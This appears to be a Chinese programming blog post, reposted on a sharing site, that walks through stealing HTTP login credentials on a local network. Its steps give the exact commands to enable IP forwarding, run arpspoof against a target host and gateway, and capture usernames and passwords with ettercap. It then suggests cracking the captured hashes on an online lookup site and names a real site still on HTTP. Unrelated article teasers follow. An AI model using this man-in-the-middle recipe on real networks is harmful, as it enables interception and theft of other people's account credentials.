程序员经验分享-hwhale

嗅探HTTP网页用户账户密码

2023-11-04

嗅探HTTP网页

一：测试基础

1.ARP基础：使用mac地址和ip地址进行通信的局域网协议
2.HTTP：一种上网、网页请求通信协议。该协议以明文传输，即在传输时不对数据进行加密，因为http的不安全性，所以在局域网环境中，可以通过ARP欺骗，将目标主机的网络数据包都流经攻击者，然后再通过嗅探的方式从而获取到HTTP的一些数据信息
3.Ettercap：一个kali自带的中间人套件

二.实战测试

1.路由转发，确保目标主机正常上网（截获到的流量发送出去）

echo 1 > /proc/sys/net/ipv4/ip_forward

提示权限不够时输入

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

在这里插入图片描述

2.ARP欺骗（欺骗目标，我就是网关）

arpspoof -i eth0 -t 192.168.1.183（目标靶机） 192.168.1.1（网关）

在这里插入图片描述

3.嗅探http登录密码

ettercap -Tq -i eth0

在这里插入图片描述

注：T代表文本形式输出，q代表安静模式，i指定网口

开始嗅探,然后静静地等待目标靶机上网，就能获取目标在网页中输入的用户名和密码了

4.目标靶机上网并登录
在这里插入图片描述

5.嗅探到账号，密码，访问的网站
在这里插入图片描述
6.此时密码是加密的，到www.cmd5.com去解密（直接输入密文就自动解密了）

提示：这里仅仅获取http类型的用户登录密码，而现在主流是https协议，下一篇博文破解https，其实还有很多网站都是http的（比如www.4399.com）

本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系:hwhale#tublm.com(使用前将#替换为@)

嗅探HTTP网页用户账户密码 的相关文章

随机推荐

  • A记录和CNAME记录有什么区别？

    在使用高防DNS时 会发现有A记录 CNAME等多种域名记录 他们填写的规则和作用都不相同 那么下面一起来看看什么是A记录 CNAME解析 什么是A记录 A Address 记录是用来指定主机名 或域名 对应的IP地址记录 用户可以将该域名

  • FPGA学习回顾

    最近正在重新学习FPGA开发 把之前忽略的一些点记录下来 以便日后进行查阅 1 Output 和Output reg的区别 这个问题的回答具体可以看这篇博客 https blog csdn net crjmail article detai

  • 通信方向常用术语及缩略词

    GSM GOBLE SYSTEM FOR MOBILE COMMUNICATION全球移动通信系统 SS SWITCHING SYSTEM交换系统 BSS BASE STATION SYSTEM 基站系统 BSC BASE STATION

  • 32位和64位系统区别及int字节数

    一 64位系统和32位有什么区别 http zhidao baidu com question 100772591 html 1 64bit CPU拥有更大的寻址能力 最大支持到16GB内存 而32bit只支持4G内存 2 64位CPU一次

  • 【电商数仓】数仓搭建之数据应用（application data stpre -- ADS）层（ADS层之用户统计、行为漏斗分析、留存率，七天连续活跃人数，每分钟在线用户数、访客统计，路径分析等）

    一 用户统计 该需求为用户综合统计 其中包含若干指标 以下为对每个指标的解释说明 指标 说明 对应字段 新增用户数 统计新增注册用户人数 new user count 新增下单用户数 统计新增下单用户人数 new order user co

  • GOBY扫描篇

    喜欢大概就是 在我们俩对视的一瞬间 我突然就避开了你的视线 而当你走过去的时候 我却在你背后看了你好久 网易云热评 一 软件简介 新一代网络安全技术 通过为目标建立完整的资产数据库 实现快速的安全应急 二 下载地址 https gobies

  • ANTLR-语法树遍历机制

    文章目录 1 简介 2 主动遍历与被动遍历 3 Listener模式 3 1 使用示例 3 2 原理解析 4 Visitor模式 4 1 使用示例 4 2 原理解析 5 规则文件与Visitor对应关系 1 简介 2 主动遍历与被动遍历 P

  • R计算已知 总体标准差 ，均值 ， N 求 置信区间

    葡萄酒进口商需要报告某国葡萄酒瓶中酒的平均度数 根据以往葡萄酒的经验 进口商认为酒的度数呈正态分布 总体标准差为12 进口商随机抽取了60瓶新酒 得出样本均值X 93 给出所有新酒瓶中酒的度数的95 置信区间 xbar 0 093 sigg

  • 分支定价算法求解VRPTW问题（代码非原创）

    参考文献 微信公众号 程序猿声 关于分支定价求解VRPTW的代码 A tutorial on column generation and branch and price for vehicle routing problems 框架 对于

  • CTF.show：萌新：web13

    这次过滤了更多的

  • 用javascript实现动态增加DataGrid行

  • STM32——TIM编码器接口

    文章目录 一 编码器接口简介 二 正交编码器 三 通用定时器框图 四 编码器接口基本结构 五 工作模式 六 实例 均不反相 七 实例 TI1反相 八 编码器接口测速 电路设计 关键代码 一 编码器接口简介 Encoder Interface

  • [转]scanf函数用法

    sscanf 读取格式化的字符串中的数据 swscanf 是 sscanf 的宽字符版本 swscanf 的参数是宽字符串 swscanf不处理 Unicode 全角十六进制或 兼容性区 字符 除此以外 swscanf 和 sscanf 的

  • iOS SDK开发流程

    文章目录 搭建工作区间 1 创建一个本地代码库文件夹 2 创建一个工作区间 3 创建一个项目 4 创建Framework制作的项目 5 添加项目到Workspace 编写和调试Framework 编写SDK代码 1 添加一个类 2 在类里添

  • 读取xml文件，实现JTree树形结构的构建（一）

    JTree是Swing的一个组件 树 一颗树由若干节点 通过层级关系组成 在java中JTree的节点通过DefaultMutableTreeNode类创建 该类实现TreeNode接口 目前我只会一点基础的应用 例如使用DefaultMu

  • 苹果系统itunes连iphone连不上服务器,itunes无法连接iphone的解决方法

    如果是苹果用户 那么基本上都会用到iTunes这款软件 有时候我们在用数据线将iTunes连接上电脑的时候 却发现itunes无法连接iphone 那么 itunes无法连接iphone怎么办呢 处理起来并不难 下面跟着小编一起来看看itu

  • Sping Security前后端分离两种方案

    前言 本篇文章是基于Spring Security实现前后端分离登录认证及权限控制的实战 主要包括以下四方面内容 Spring Seciruty简单介绍 通过Spring Seciruty实现的基于表单和Token认证的两种认证方式 自定义

  • python类的定义——为什么都写了_init_()方法

    在看很多python代码中 都发现关于类的定义 很多都有 init 为什么 初次理解 写上 init 就是为了方便后面的创建实例的时候 给实例绑定上属性 也方便后续类中方法的定义 简言之 就是方便我们后续代码的编写 所以 应该学会掌握 此处

  • unity build 报错 The name 'XXX' does not exist in the current context

    unity build 报错 The name XXX does not exist in the current context The type or namespace name XXX could not be found are

  • 嗅探HTTP网页用户账户密码

    嗅探HTTP网页 一 测试基础 1 ARP基础 使用mac地址和ip地址进行通信的局域网协议 2 HTTP 一种上网 网页请求通信协议 该协议以明文传输 即在传输时不对数据进行加密 因为http的不安全性 所以在局域网环境中 可以通过ARP

热门标签